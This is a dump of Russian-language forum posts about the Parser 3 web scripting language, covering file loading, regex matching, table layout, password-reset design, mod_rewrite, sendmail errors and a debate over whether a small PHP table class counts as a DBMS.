"15015","смотри ты грузишь файл \
[code]\
$content[^file::load[text;content.txt]]\
#а потом просто как бы вставляешь \
$content\
[/code]\
\
ты не задумывался, что это возвращает? если я правильно понимаю, то это junction, т.е. ссылка на объект класса file.\
\
а тебе нужно поле этого объекта которое содержит в себе текст, это будет так (да мы их ещё простирнем, а то ведь они грязные):\
[code]\
@pagebody[]\
$content[^file::load[text;content.txt]]\
# ...прочий html ...\
^untaint[as-is]{$content.text}\
[/code]\
\
ну вот и всё, пожалуйста читайте документацию!\
"
"15017","Подскажите пожалуйста, как использовать другие .р файлы помимо auto.p. \
Например новости на главной странице; календарь я хочу прописать в news.p - это возможно? Если да, то как задействовать метод из news.p?"
"15019","... чтобы потом можно было сделать систему напоминания паролей (отсылать нешифрованный пароль пользователя на мыло)?\
Проблема в том, что из MD5 нельзя дешифровать информацию обратно!\
\
Может просто хранить пароль в БД в открытую и не париться???"
"15021","[url=\"http://cmitriy.nm.ru/cmitriy.jpg\"]http://cmitriy.nm.ru/cmitriy.jpg[/url]\
Почему \"Д\" превратилась в \"Ц\"?"
"15022","Надо генерировать новый и высылать его пользователю на e-mail.\
Способ с хранением паролей в открытом виде и отправке их на e-mail плох по двум причинам:\
1. При краже БД [i]мгновенно[/i] компрометируются [i]все[/i] пароли. При краже БД с зашифрованными паролями злоумышленнику требуется время на их расшифровку, которое может быть использовано для массовой принудительной смены паролей.\
2. При получении злоумышленником доступа к e-mail пользователя, в том случае, если пользователь везде использует одинаковые пароли, злоумышленник может получить этот пароль, а не только пароль для доступа к конкретному сервису."
"15023","а если я возьму и буду вводить ники всех подряд зарегистрированных пользователей и менять им таким образом пароли (рассылая новые на мыло). Единственное, что если вместо ника вводить какое-нибудь секретное слово (которое тоже, кстати, пользователь может забыть :)) + e-mail, проверять их соответствие и слать новый пароль на мыло. Но если БД похитят, то и это не спасёт - есть список ников, секретных слов, е-mail-ов - бери и меняй пользователям пароли (правда войти под этим пользователем не удастся)"
"15024","пользователю на e-mail приходит ссылка, пойдя по которой он попадёт на форму, в которой может ввести новый пароль.\
\
Преимущества:\
1. не надо ничего генерировать, пользователь вводит всё сам.\
2. если пользователь не пошел по ссылке, пароль не меняем.\
3. ссылка работает один раз, если кто-то её увидит и пойдёт повторно, он просто обломится...\
"
"15025","и что это должна быть за ссылка - какой-нибудь url с кучей понятных только разработчику параметров???"
"15027","можно запретить пользователю в установках менять e-mail, если пароли регулярно крадут, значит e-mail дырявый, пусть меняет пароль на свой почтовый ящик...\
\
а ссылка может быть примерно такая:\
[code]httр://www.my-portal.ru/pass_change.html?mail=your@mail.ru&key=fd271Xw0g68Zg9[/code]\
где key это случайное значение, генерируемое при запросе на смену пароля. Если mail и key совпадают, меняем пароль. Остальное уже дело техники... "
"15028","А чтобы активировать пользователь должен зайти по ссылке, которую ты указал в письме...\
\
Если у пользователя и мыл скомуниздили (т.е. читают его почту), то тут уж я думаю ты ничего поделать с ним не сможешь...\
\
Этот новый сгенеренный пароль может быть в ссылке... (Посмотри как на этом-же форуме сделано...)"
"15029","Ввожу логин и пароль... все, пользователь вошел, появляется ссылочка на настройки и завершить работу...\
\
Перехожу по какой-нибудь ссылке или нажимаю \"Добавить\", так пользователь уже не аутентифицирован...\
\
В чем могут быть проблемы?"
"15030","Миша, попробовал я \"напомнить\" себе пароль. Пришла ссылка на мыло, я по ней кликнул (пароль такой длины конечно запомнить не возможно наизусть, т.е. нужно менять). А поменять не получается. Сслыка \"Настройка\"(http://www.parser.ru/forum/register.html) предлагает форму регистрации (ник, мыло, пароли и \"галочки\") - короче поменять пароль не могу :(\
Может здесь на форуме трабл???"
"15031","У меня текстовая табличка воть такая:\
title	avtor	email	msg\
\
\
Мне надо, чтобы из формы добвлялись туда новые данные... Как это организовать???"
"15032","именно в конец таблицы, то вот:\
взял из доки\
$stuff - твоя таблица.\
\
^stuff.append{title_new avtor_new email_new msg_new} \
^stuff.save[stuff.cfg]\
\
гри в доку)"
"15033","в форму регистрации там где \"пароль\" вводим новый пароль, ещё раз в окошке рядом (подтверждаем типа) и жмем \"Сохранить\"...\
\
а траблы в этом форуме частенько проскакивают, в основном с куками чудеса всякие творятся, я уже и не удивляюсь...  ;)"
"15035","Я просто знаешь как делал...\
\
^stuff.save[$form:title $form:] \
\
и т.д. он создавал фал с данными этих полей..."
"15036","Как здлать сабж, именно на Прасере???"
"15037","Если сайт большой, то полнотекстовой поиск не подходит, приходится использовать индексирование, а чтобы записать индекс в файл нужны средства работы на бинарном уровне в парсере таких нет и не будет, есть вариант хранить индекс в MySQL, но это для тех кто любит извращаться..."
"15038","А есля, я ето люблю делать...."
"15040","Мучался-мучался, решил перелить парсер не в cgi-bin, а в корень. Тут-то он и перестал притворяться elf-ом, а заработал. До понедельника - в safe mode. Однако интересно, почему так. Из-за того, что на самом деле cgi-bin находится где-то в другом месте (script alias ...)? Или мистика?\
"
"15041","Хотел сделать фотоальбом... короч есть файл fotki.cfg, выводятся так:\
\
<table width=100% cellpadding=4>\
   <tr> \
   ^fotki.menu{ \
      <td align=\"middle\"> \
          <a href=\"$fotki.uri\" target=_blank><img src=$fotki.sm alt=$fotki.comment border=0></a> \
      </td> \
   } \
   </tr> \
</table>\
\
Тока в таком случае они все в одной строке выводятся... как сделать чтобы автоматически перекидывались? Я не программер потому сам не могу придумать."
"15042","Написал вот такой код:\
\
$page[^file::load[text;http://.....]] \
$tab_p[^page.text.match[<p>(.+?)</p>][gx']]\
^tab_p.menu{\
<p>$tab_p.match</p>\
}\
\
Это я хотел из некоего HTML выделить содержимое всех\
тегов <p>...</p> и вывести все столбиком.\
Находит и выводит только первый????\
я же вроде поставил ключик \"g\"???\
Помогите пожалуйста, кто знает.... \
"
"15044","Т.е. на одной строке?\
Чтобы в несколько столбцов или на другой странице?)"
"15045","[code]\
$tab_p[^text.match[<p>(.+?)</p>][gi]]\
^tab_p.menu{\
	<p>$tab_p.1</p>\
}\
[/code]\
\
использовать ' для создания дополнительных столбцов prematch, match, postmatch тут совершнно не нужно.\
\
но в любом случае твой код у меня тоже работает, правда в силу специфики столбца match параграфы выводятся в двойных <p>:\
<p><p>текст</p></p>, но находятся все параграфы. может приведешь пример текста, в котором ты пытаешься сделать поиск?\
"
"15046","Замечание по поводу необходимости prematch, match, postmatch совершенно справедливо... они правда ненужны :)))\
\
Проблема оказалась вот в чем:\
\
Если анализируемый НТМЛ файл локальный, то все хорошо..\
Если грузится как http://..., то почему-то теряется закрывающий\
тег </p>??? Я понимаю, что для не классического НТМЛ он необязателен... но почему он теряется???  "
"15047","грязные данные почитай про ^untaint[]{}"
"15048","\"грязность\" данных тут совершенно не при чем. чистые они или грязные проявляется лишь при их [b]выводе[/b] куда-либо."
"15049","Вот, что я пробовал обработать - http://www.gls.cn.ua/afori.html?1\
Хотел выделить из текста афоризмы и их авторов и загнать\
в таблицу MySQL..."
"15050","Попробуй посмотреть любым другим броузером, забрать этот документ wget-ом или telnet-ом и увидишь, что IE тебя мягко говоря обманывает...\
\
вот куски кода оттуда:\
[code]\
...\
<TABLE BORDER=0 CELLPADDING=0 CELLSPACING=0 WIDTH=100%><TR><TD BGCOLOR=#B8CCED>\
<TABLE BORDER=0 CELLPADDING=3 CELLSPACING=1 WIDTH=100%><TR>\
<TD BGCOLOR=#FFFFFF><P>Что легко? - Давать советы другим. /Фалес, древнс-греч. философ, один из 7-ми мудрецов/ </TD>\
</TR></TABLE></TD></TR></TABLE>\
...\
<TABLE BORDER=0 CELLPADDING=0 CELLSPACING=0 WIDTH=100%><TR><TD BGCOLOR=#B8CCED>\
<TABLE BORDER=0 CELLPADDING=3 CELLSPACING=1 WIDTH=100%><TR>\
<TD BGCOLOR=#FFFFFF><P>Дело подобно автомобилю: само по себе оно будет двигаться, только под гору. /Заповедь американских менеджеров/ </TD>\
</TR></TABLE></TD></TR></TABLE>\
...\
[/code]\
"
"15051","Точно так и есть... уродство ужас..."
"15052","Один мой знакомый вообще хранит все в текстовиках, перелопачивает их при каждом поиске и доволен по самые небалуйся.\
\
Сделать-то можно как угодно, главное какие из этого будут последствия. Поищи поиском про поиск - тыщу раз уже обсуждали как лучше это делать."
"15053","IE правит HTML только тогда, когда он его на диск сохраняет по команде Сохранить как ..., однако когда на странице выбирается пункт меню Просмотр HTML кода (из контекстного меню вызываемого правой кнопкой мыши), тогда IE ничего не правит и показывает как есть. Я проверял."
"15054","Люди, помогите чем можете. Как мне запаролить вход на админскую страницу с помощью парсера."
"15055","при \"сохранить web page compleate\" он вообще html переколбашивает, начиная от тегов, и заканчивая именами картинок, своими перекодировками и т.д...\
\
при \"view partial content\" - он переколбашивает теги, не трогая имена картинок.\
\
при \"сохранить html only\" и при \"view source\" он в большинстве случаев не трогает html... в случае с вышеупомянутой страничкой я не заметил изменений, но у меня есть опыт, когда он по непонятным мне причинам делал это (ух, сколько я времени потратил, т.к. не мог понять где я вставляю лишнюю фигню в страницу), и мне этого достаточно, чтобы я не верил тому, что он показывает мне...\
\
если мне нужно посмотреть первозданый source (хотя он мне нужен бывает очень редко) - IE это не тот броузер, с помощью которого я делаю это.\
"
"15056","так вот если у тебя есть возможность использовать .htpasswd то ты создаёшь этот фалик в той папке к которой нужно закрыть доступ.  \
\
Формат этого файла такой\
username:password\
username2:password\
username3:password\
и т.д.\
\
а вот как создать этот фалик и редактировать с помощью p3 очень подробно описано в RTFM\
\
удачи\
\
"
"15057","<tr> \
^fotki.menu{ \
<td align=\"middle\"> \
<a href=\"$fotki.uri\" target=_blank><img src=$fotki.sm alt=$fotki.comment border=0></a> \
</td> \
} \
</tr>\
\
Вот так получается, что все фото в одной строке...\
Мне надо чтобы они в зависимости от ширины окна перекидывались в следующую строку итд.\
\
это как сейчас:                        \
\
Ф Ф Ф Ф Ф Ф Ф Ф Ф Ф Ф Ф Ф Ф\
\
а надо:\
\
Ф Ф Ф Ф Ф\
Ф Ф Ф Ф Ф\
Ф Ф Ф Ф Ф\
\
"
"15058","Если уйти от маштаба, а допустить, что например 4 фотки на каждую строку, тогда надо отлавливать каждуе 4ю фотку в каждой строке и ставить <tr>\
Т.е. идет твой цикл и все что не 4я строка - идет как у тебя, а как только 4я и т.д. - <tr>\
Ведь помоему теперь по спецификации теги <td> <tr> закрывать не надо... Где то встречал это))\
\
\
Вот самый элементарный и тупой способ помоему)"
"15059","Почитал я эту доку..Многое понял, но видать не все :( А как коректно сравнить значение пароля в этом файле с введенным пользователем?"
"15060","Замечено, что парсеру не важно, что содержит первый аргумент при создании nameless таблиц, пиши хоть ^table::create[Машка дура]{и пошло-поехало}"
"15061","http://www.parser.ru/docs/lang/?mathcrypt.htm"
"15062","грузишь файл с паролями.\
криптуешь поле формы в которой содержиться пароль,\
но в качестве salt передаёшь взятый из файла пароль.\
потом сравниваешь полученное значение с взятым из файла.\
"
"15063","В принципе это дело ясное... только практически как ЭТО написать?"
"15064","[code]\
$cookie_table[^cookies.split[^;;v]]\
#заменить на \
$cookie_table[^cookies.split[^;^#20;v]]\
[/code]\
иначе у вас в хеше клуч будет пробел+названия_куки"
"15066","Помоему так, мог ошибиться. Если все верно выведет по 4 фотки в строку.\
[code]\
<table width=100% cellpadding=4>\
<tr>\
$cols(4)\
^fotki.menu{ \
<td align=\"middle\"> \
<a href=\"$fotki.uri\" target=_blank><img src=$fotki.sm alt=$fotki.comment border=0></a> \
</td> \
}{\
^if($fotki.line[] > $cols){</tr><tr>^cols.inc(4)}\
} \
</tr> \
</table>\
[/code]"
"15067","В реальности практически во всех шрифтах цифры не являются пропорциональными знаками. \
\
Чтобы колонки чисел смотрелись ровно."
"15068","Приятно когда разработчики выкладывают исходные тексты своих разработок. Вот я и решил их скачать и посмотреть как все это работает.\
Наткнулся на проблеммы:\
1. На сервере с ОС FreeBSD 4.7 parser 3.007 - выдает ошибку что не найден класс BASE \
2. Под Денвером на win98 не может подгрузить внешнии XSL  layout.xsl и rss2.xsl.\
3. На сервере Win200 с Парсером 3.007  под Апачи сразу все заработало. Но как оказалось рано радовался, дальше первой страници дело не пошло, ошибка 400.\
\
у кого какие мысли?\
"
"15070","неправильно то, что, не обладая нужными знаниями, не обладаете достаточным свободным временем, чтобы разобраться.\
\
но копаете в правильную сторону."
"15071","больше идей нет, только что проверил, все нормально. Распаковал архив и проверил его работоспособность, все работает."
"15072","1. ответьте \"платформа такая-то (intel или какой sparc)\"\
2. ответьте \"версия такая-то\"\
3. соберите десять желающих на ту же версию и платформу. пусть напишут ответы на этот ваш post «хотим»."
"15074","на другом виртуальном сайте\
вот это RewriteRule (.+) /404.html отрабатывает если указан несуществующий файл"
"15075","http://httpd.apache.org/docs/howto/auth.html"
"15077","Как правило говорит о том, что есть проблемы с mod_rewrite. В .htaccess или httpd.conf для виртуального хоста точно есть строчки:\
[code]\
RewriteEngine on\
RewriteCond	%{REQUEST_FILENAME}	!-f\
RewriteCond	%{REQUEST_FILENAME}	!-d\
RewriteRule	^(.*)$	/index.html?uri=/$1 [L,QSA]\
[/code]\
Без этого ничего не будет работать."
"15078","$connect_string[mysql://xxx:xxx@localhost/xxx]\
\
$CLASS_PATH[^table::create{path\
/classes\
/classes/operators}]\
\
может еще что надо поменять?\
"
"15079","[code]\
$CLASS_PATH[…\
/../classes\
…\
]\
[/code]\
\
куда лучше.\
\
вы уверены, что сейчас у вас нельзя забрать\
http://your.server.ru/classes/auth.p\
\
?\
"
"15080","и у народа вроде все работает, по крайней мере таких жалоб нету.\
\
куки точно не выключены? и точно работают? я, например, знаю людей, у которых они просто перестали работать (IE...)"
"15081","http://www.egoroff.spb.ru/classes/auth.p\
\
ну или любой другой класс"
"15082","Нужно сделать скрипт, который может в начале сценария изменять переменное окржение, например REMOTE_ADDR, затем он должнен используя это окружение открыть какой либо узел, например http://yandex.ru/ с моего локалхоста.\
\
Такое создать можно? Если да, то ткните носом в доку."
"15083","как раз хотел спросить вчера перед сном)\
А как реализована идея \"похожие статьи, материаллы\"? По ключевому слову?\
\
исходники не смотрел)"
"15084","Маленькая СУБД для бедных программеров.\
http://code.msk.ru/author/php_class/parser_tables/1_0/\
\
Жду откликов, конструктивных ругательст, пахвалы, прорецания о том что я изобрел велосипед, предложения, и пожелания.\
\
Очень важно для меня прочитать ваши мнения.\
Спасибо за внимание."
"15085","Один из главных признаков любой реляционной СУБД - наличие реляционного языка по управлению данными. Там его нет и быть не может.\
\
Кроме реляционных СУБД бывают иерархические, сетевые, объектно-ориентированные, объектно-реляционные. Ни под одну из этих категорий данная вешь не подходит, значит это не СУБД.\
\
Да и почему для бедных программеров? Разве за MySQL или PostgreSQL стали брать деньги? Или под бедными подразумевается нечто другое?"
"15086","подход по-умолчанию: люди [b]забывчивы[/b].\
диагноз: по-возможности, делать так, чтобы не было шанса забыть."
"15087","Просто реализует навигационный способ доступа к данным. А наличие языка совсем не обязательно, если имеются функции, позволяющие управлять данными... Для примера можно взять класс TTable в Delphi, который именно этод метод доступа к BDE и реализует. Или BDE тоже не СУБД?"
"15088","> [i]Один из главных признаков любой реляционной СУБД - наличие реляционного языка по управлению данными. Там его нет и быть не может.[/i]\
Что ты подразумеваеш под [b]наличие реляционного языка по управлению данными[/b]? Он ведь там есть. Там есть несколько функций для полноценной работы с данными в таблице.\
\
> [i]Или под бедными подразумевается нечто другое?[/i]\
ага. например для пользователей серверов, на которых есть PHP, но нету *SQL сервера. К тому же например в Parser создана такая система именно для тех, кто в силу каких-то причин не хочет или не может юзать полноценную БД."
"15089","просто очень удобно все исходники сунуть в один каталог чтобы человек не думал где что лежит. Также удобно вести разработку сайта когда у тебя классы в веб-пространстве а не хрен знает где. Только при загрузке на реальный сервер пихать их куда надо.\
"
"15090","иначе с ней никто не будет работать"
"15091","содержит операции:\
\
Выборки\
проекции\
соединения\
пересечения\
и т.д.\
\
т.е. операции работы над множествами.\
\
И не стоит называть некие решения по манипулированию данными СУБД - чрезмерно пафосно и никому ненужно.\
"
"15092","... я же тебе пример привел - BDE прекрасно работает. Другое дело, что с SQL как правило удобнее, но это скорее дает возможность широким массам трудящихся с ней работать.\
\
У нас, например, база астрономических объектов [там десятки миллионов записей] лежит в своем собственном формате и выборка производится обычными функциями, и работает это гораздо эффективнее, чем писать это с использованием общегражданских СУБД."
"15093","...дело в том, что расположение тела форума выставляется при помощи CSS. Немного не расчитан margin, поэтому левый \"хвостик\" буквы \"Д\" остался за пределами таблицы-контейнера. В данном случае, Мише, (или кто там за этим следит) нужно поправить код таблицы, подвинув \"тело\" на 2-3 пикселя вправо."
"15096","Я никого не путаю.\
Ты зблуждаешся. Я тебе расшифрую абривиатуру СУБД (Система Управления Базой Данных) и реляционный язык здесь совершенно не причем.\
\
Я никого не ввожу в заблуждение и это не пафос. Это факт, - прога работает с данными, полноценно работает, так что почти все необходимые операции можно реализовать (всех нет нигде) поэтому есть только самые нужные.\
\
Ты мне скажи где ты вычитал, что СУБД должен подразумивать реляционный язык?"
"15097","Если я не прав см. заголовок :)\
\
\"Базы данных\" Конноли, Бегг, Страчан. Прочитайте, заговорите по другому."
"15098","Ми пишем сценарий загрузки и все чики пуки :)"
"15099","И тебе скоро докажут более 2 человек что ты не прав."
"15100","я её не видел, поэтому не буду ничего утверждать. Понятно что специализированный, для данной задачи инструмент, может дать существенные преимущества, однако на другой задаче он просто провалится.\
\
Я говорю не об этом. Просто вы меня не понимаете. Почему например разработчики парсера не называют те средства по манипулированию данными имеющиеся в парсере СУБД? правильно, это не СУБД, а что такое СУБД читаем в книжке, про которую я недавно сказал."
"15101","Я не судья и мы не на суде. Просто этот код не СУБД :)"
"15103","не будешь же ты называть библиотеку MFC, ну или собственную систему макросов языком программирования.\
\
Если да, то тогда я просто умываю руки, тогда любую программу работающую с файлами можно назвать СУБД"
"15104","Любая операционка это СУБД.\
а тебе надо попить валерьянки и помедитировать часок, другой.\
А потом согласится с тем, что Блокнот - это тоже СУБД."
"15105","Программа для автоматического обновления сайтов через протокол FTP. http://dinara.ru/fup/?ref=fup20a"
"15106","Используй прокси и свой любимый PHP"
"15107","... А уж каким методом приложения с ней работают не принципиально. Важно, чтобы структура данных позволяло максимально эффективно реализовывать конкретную задачу. Использовать общеупотребительные СУБД или специализированные - выбор разработчика.\
\
>Если да, то тогда я просто умываю руки, \
>тогда любую программу работающую с файлами \
>можно назвать СУБД\
\
Ты про \"плоские\" базы данных слышал? Система Дмитрия ей и является. В принципе никто не мешает на ее основе и реляционную модель сделать."
"15108","... XML тоже система хранения структурированных данных [тоже СУБД], но для работы с ним используются далеко не реляционные языки..."
"15109","а не метод организации, как организованы данные неважно, важно как с ними можно работать и все."
"15110","http://www.parser.ru/forum/?id=15085\
[quote]\
Один из главных признаков любой реляционной СУБД - наличие реляционного языка по управлению данными.\
[/quote]\
Я вроде ясно сказал про реляционную СУБД а не про какую-либо ещё."
"15111","СУБД и реляционная СУБД далеко не одно и тоже."
"15114","Я и сказал какие ещё бывают СУБД и ни под одно из этих определений его код не подходит :) Плоские СУБД - может быть, но тогда лучше уж файловая система или XML. А ещё лучше для таких как Дмитрий пользоваться CityDesk http://www.fogcreek.com/CityDesk/ - можно сделать нормальный сайт не изучая никаких языков и не лезть в дебри.\
\
И чего вы так разнервничались? :) Я просто высказываю мнение, правда в несколько экзальтированной форме. Да кстати - это вообще офтопик, ибо код то на php :) ГЫ"
"15115","А я то расчитывал, что мы здесь будем обсуждать программные аспекты реализации тех или иных возможностей, но найдется вдруг чудак. Этот чудак всё сделает не так, и придерется к четырем соответствующим продукту буквам :("
"15117","Человек он молодой - книжек много разных начитался... Вот теперь в терминах и путается... :)\
\
to Egr: Ничего личного... :)"
"15118","а много ли тут народу его знает?"
"15119","послушать советы бывалых, опытных программистов. Книжек действительно начитался, но без них ведь никуда или я не прав? Я вообще люблю читать и думать, а вы?"
"15120",".. мы тупые, книжек не читаем и вобще непонятно чем занимаемся ... :)"
"15121","то что я назвал СУБД системой управления базами данных, а не способом их организации как ты?"
"15122","... обмена данными между Парсером и ПХП. Что в этом плохого?"
"15124","Или функция хранения данных уже к СУБД не относится?"
"15125","XML на помойку?"
"15127","... А на императивных языках бывает гораздо проще разобрать текстовый файл, чем линковать XML-парсер или библиотеку доступа к БД. Ну вот нужно мне, например, в паскалевскую прогу данные небольшие передать, что мне для этого XML разбирать."
"15128","..мне очень нравится и я активно его использую. Правда немного подправил.\
\
Относительно спора о явлении данного класса СУБД -\
ну, допустим, \"это\" СУБД не назовешь. Здесь я полностью согласен с egr. Так, маленькая такая системка управления данных определенного формата - не более. Никто не станет называть набор четырех-пяти команд СИСТЕМОЙ. Хотя вещь нужная, за что автору огромное спасибо.\
\
Так держать. Успехов."
"15129","... любая СУБД это \"системка управления данных определенного формата - не более\". :)"
"15130","Правда, по моему egr не прав хотябы тем, что устрол флейм."
"15131","Не держит одинаковую дистанцию с разным типом людей.\
\
Не признает ничего кроме себя.\
\
Любит считать себя избранным, который был послан в этот мир с великой целью. Но с какой? :)\
\
Любит не оргументированно критиковать, то что ему (в чем он не признается) нужно.\
\
\
ЗЫ: Помнится он как-то пел, что написал на Parser дополнительные функции для работы с таблицами и гордо заявил, что хрен поделится. Пусть оно так и останится.\
\
egr - ничего личного.\
скоро на тебе воду начнут возить."
"15132","как и всё в этом мире. Воду пусть возят. А вообще странно слышать что я не делюсь. Угадайте с трёх раз, о чём это я?"
"15133","почему не признаю?\
\
ПАФа признаю, Мишу, Лужниковского, Константина Моршнева, Sanja, Greg.Frolov  да и ещё есть много других товарищей.\
\
Агат вон тоже считает что про СУБД это вы загнули :)"
"15135","Хотелось бы знать, какие недостатки вы в нем обнаружили?\
и как их исправили?"
"15137","..,мне кажется, это очень полезная фича, и я не смог от нее отказаться.\
Я использовал предидущую версию класса - над новой пока не работал.\
В частности, я немного изменил метод Load :\
[code]\
function Load($file=\"\", $type){\
	$table = array();\
	$fp = fopen ($file,\"r\");\
	\
	while (!feof ($fp)) {\
		$line = fgets($fp,filesize($file));\
		if ($line!=\"\"){\
			$dyn = split(\"\\t\",$line);\
			while (list($key,$val) = each($dyn)){\
				$str[rtrim($key)] = rtrim($val);\
			}\
			array_push($table,$str);\
		}\
	}\
	if(isset ($type) && $type == \"nameless\"){\
		$result = $table;\
	} else {\
		$result = array();\
		$columns = $table[0];\
		$table = array_slice($table, 1);\
		foreach ($table as $line){\
			while (list($key,$val) = each($line)){\
				$new_line[$columns[$key]] = \"$val\";\
			}\
			array_push($result, $new_line);\
		}\
	}\
	return $result;\
	fclose($fp);\
}\
[/code]\
Если указан ключ nameless, то мы получаем обычную индексированный массив. Если же ключ не выставлен - получим associated array, благодаря которому к полям строки можно обращаться по-человечески, по названию. И удобнее, и практичнее.\
\
Кстати, у меня были неимоверные проблемы с завершающими пробелами. Направильно выдавались названия строк - я почти бубенил над кодом, пока нашел баг. Исправил rtrim'ом."
"15138","Он не убирал из правого столбца символы перевода каретки.\
\
Я хотел поправить, но гениальность того, что нельзя редактировать сообщения на которые уже ответили мне это не позволила :)\
\
В полноценной версии кажись бага нет. Во всяком случае я написал Counter посещений и работает без глюков.\
\
Nameless это конечно полезно, но я хотел на это место дописать ещё возможность noconvert, - что позволило бы не заменять символы табуляции и перевода каретки. КАК в Parser по умолчанию.\
\
Я сделал, что он заменяет эти символы, но сделаю альтернативу."
"15139","Здрвавствуйте\
\
А если не работает.. mod_rewrite\
Два дня бился дальше 403 страницы не идет. В ман по Апач ничего не нашел. Как заставить етот мод работать?\
\
Извиняюсь за некоторый офф топик.\
\
Спасибо\
--\
organic"
"15140","что посоветтовать не знаю, потому что не знаю ваших условий, настроек и пр."
"15141","или доступ к исходникам parser'a закрыт? Решил собрать свеженькую версию из исходников с CVS и обломался :("
"15142","Здравствуйте, \
\
т.е. я понимаю что туплю но где понять не могу\
\
при установке у провайдера настройках авто.р\
[code]\
$SQL[\
	$.drivers[^table::set{protocol	driver	client\
mysql	$sqldriversdir/libparser3mysql.so	libmysqlclient.so\
}]\
]\
[/code]\
\
те. где драйвер взять понятно.., а клиент? _тест.хтмл ругается, говорит\
[code]\
libmysqlclient.so (не найден)\
[/code]\
\
Понятно, что гдето мелочь пропустил, но понять не могу пока, если кто подскажет..\
\
Спасибо\
"
"15143","Да код стандартный\
1. Проверка, обновлялось ли что-либо с предыдущей рассылки, если да:\
2. Загружаем из БД таблицу подписчиков subscribers\
3. Формируем тело сообщения - одно для всех (\"Последние обновления на сайте ....\")\
4. Рассылаем: \
[code]\
^subscribers.menu{\
^mail:send[\
$.from[Служба рассылки <subscribe@....ru>]\
$.to[$subscribers.fullname <$subscribers.email>]\
$.subject[Рассылка сервера $env:SERVER_NAME]\
$.errors-to[$env:SERVER_ADMIN]\
...]\
}\
\
Собственно и все. Проверка e-mail на корректность производится при добавлении в базу. При запуске из браузера все рассылается, из cron - нет. Email is empty, даже если вместо $subscribers.email явно указать какой-нибудь адрес :-/"
"15144","Мож кто уже разрабатывал интерфейс к webmoney, маякните сюда icq# 995520"
"15145","с http://www.risearch.org и прицепляешь к нему фронтенд на парсере. Индексируем перлом, индекс храним в sql, выборку из sql делаем парсером - все на своих местах."
"15146","Спроси у хостера или locate libmysqlclient.so если shell-доступ есть."
"15147","У меня в конфиг. файле такой строки нету:\
\
$MAIL[ \
   $.sendmail[/custom/mail/sending/program params] \
] \
\
А команды посыла почты работают.\
\
На другом месте того же хостинга почту не отправить. И при этом присутсвие/отсутствие вышеописанной строки не помогает.\
\
В чем может дело?"
"15148","Чтобы понять в чем проблема надо знать на какой системе и как установлен Парсер."
"15149","[code]\
$to[$subscribers.fullname <$subscribers.email>]\
^to.save[append;to.log]\
[/code]\
\
что в логе?"
"15151","не нужно в достаточном количестве нашим клиентам, поэтому пока нет.\
\
пока используйте wget, насколько помню, он умеет."
"15152","... причем данные корректные. Что собственно и ожидалось... Я уже писал, что ошибка возникает при запуске из cron в любом случае - даже если я явно указываю заведомо корректный адрес в поле $.to"
"15153","Установлен возле Apache (\"возле\" то есть не как модуль).\
Все находится в FreeBSD.\
\
То есть проблема не у меня, а у провайдера?"
"15154","parse error, expecting `EON'"
"15155","Вот это выдает, когда я убираю какую либо инфу о пути к программе sendmail:\
\
'send' '/usr/sbin/sendmail' reported problem: UNKNOWN (65) [email.send]\
\
А вот это, когда прописываю нужный путь:\
\
'send' Parser was configured with --with-sendmail=/usr/sbin/sendmail -i -t -f postmaster key, to change sendmail you should reconfigure and recompie it [parser.runtime]\
"
"15157","http://www.parser.ru/docs/lang/?fileload.htm\
\
а в опциях задашь, что тебе нужно:\
http://www.parser.ru/docs/lang/?app1.htm"
"15160","Это что, все серифные шрифты так делают? Залез в wordpad - если Д первая в строке та же фигня."
"15161","Как удлить виртуальный диск, а то у меня на компе удалили пару папочек от Денвера без вазвратно(спасибо добрым людям), вот я и решил поставит всё заново, а вот виртуальные диски плодить не хочется, а он ведь просит новый."
"15162","Эхх.\
 Я ж и прошу потому что не особо разбираюсь в этом деле.\
(к сожалению...). И бывают такие ситуации когда владелец сервака, он же заказчик != админ (оно настроено и все...) а сервак стоит за океаном. и фиг знает как его узнать чего там и как. А так сказал человеку вот это запиши туда это туда..."
"15163","В гостевой книге? Сообщений по 20 на странице, на примере книги из уроков по парсеру."
"15164","Может какой скрипт запустить сможешь сам, который инфу отображает? У меня есть перловый server.cgi - показывает, что за ОС, какой сервак и еще немножко инфы (аналогов в сети - как грязи). Не знаю, правда, будет ли это на солярисе работать."
"15165","Поставь вместо\
\
$fotki.line[]  -  ^fotki.line[]"
"15166","немного недоработанный, но есть:\
http://www.spearance.tura.ru/parser3/scroller1/"
"15168","Пробовал... не получается... вопрос: для гостевых использующих БД он тоже подходит?"
"15170","Я делаю так: создаю файл, называю scroller.p, копирую туда код из вашего примера. Ставлю [code]$number_per_section(1)[/code].\
Есть у меня работающая гостевая из уроков по парсеру. Вставляю туда:\
\
вверху[code]\
\
@USE\
/classes/gbook.p\
/classes/scroller.p[/code]\
\
в боди_мэйн, после прочего:\
[code]\
^draw[]\
^post_link[first_number;text_link;record_number;path][/code]\
\
Ошибка:\
\
(void) not a method or junction, can not call it\
\
[b]draw[/b]\
\
Что я делаю неправильно?\
"
"15171","я, кажется, сообразил. временно уберите эту строчку:\
[code]\
$.errors-to[$env:SERVER_ADMIN]\
[/code]"
"15172","Удали из Автозагрузки \"Create virtual drive\" и перезагрузись."
"15173","критерий популярности я привёл.\
под непопулярные платформы мы публикуем исходники с краткой инструкцией по сборке. при этом предполагаются соответствующие знания у того, кто будет собирать.\
\
при известном упорстве собрать может даже не очень знающий человек.\
\
рекомендую написать письмо системному администратору машины, на которой необходимо иметь Parser, изложив ему суть своей проблемы.\
\
если вашы с ним договорённости предусматривают необходимую для ваших проектов помощь с его стороны, вы её непременно получите."
"15174","Спасибо, сейчас попробую."
"15175","UNKNOWN — означает, что sendmail не пояснил суть ошибки в своём стандартном потоке ошибок;\
65 — код выполнения программы (exit status), теоретически от системы к системе отличается, но обычно означает, что заданный вами email не годится.\
\
обычно это означает неправильный $.to"
"15176","Сохраняешь код в scroller.p\
В файле вызова пишешь:\
[code]\
@USE\
/путь_к_классу/scroller.p\
[/code]\
Где-нибудь в теле пишешь:\
[code]\
$scroller[^scroller::create[\
		$.path_param[no]\
		$.table_count[число_записей_в_таблице]\
		$.number_per_section[5]\
		$.section_per_page[7]\
		$.type[page]\
		$.r_selector[]\
		$.l_selector[]\
		$.divider[]\
		$.r_divider[]\
		$.l_divider[]\
		]\
	]\
\
^scroller.draw[]\
[/code]\
Вот ты уже и получил свой скроллер, теперь осталось отображать записи как надо.\
Для обычной таблицы так:\
[code]\
^твоя_таблица.menu{\
	^if(^твоя_таблица.line[] >= $scroller.record_number && ^твоя_таблица.line[] <= ($scroller.record_number + $scroller.number_per_section - 1)){То что нужно вывести}\
}\
[/code]\
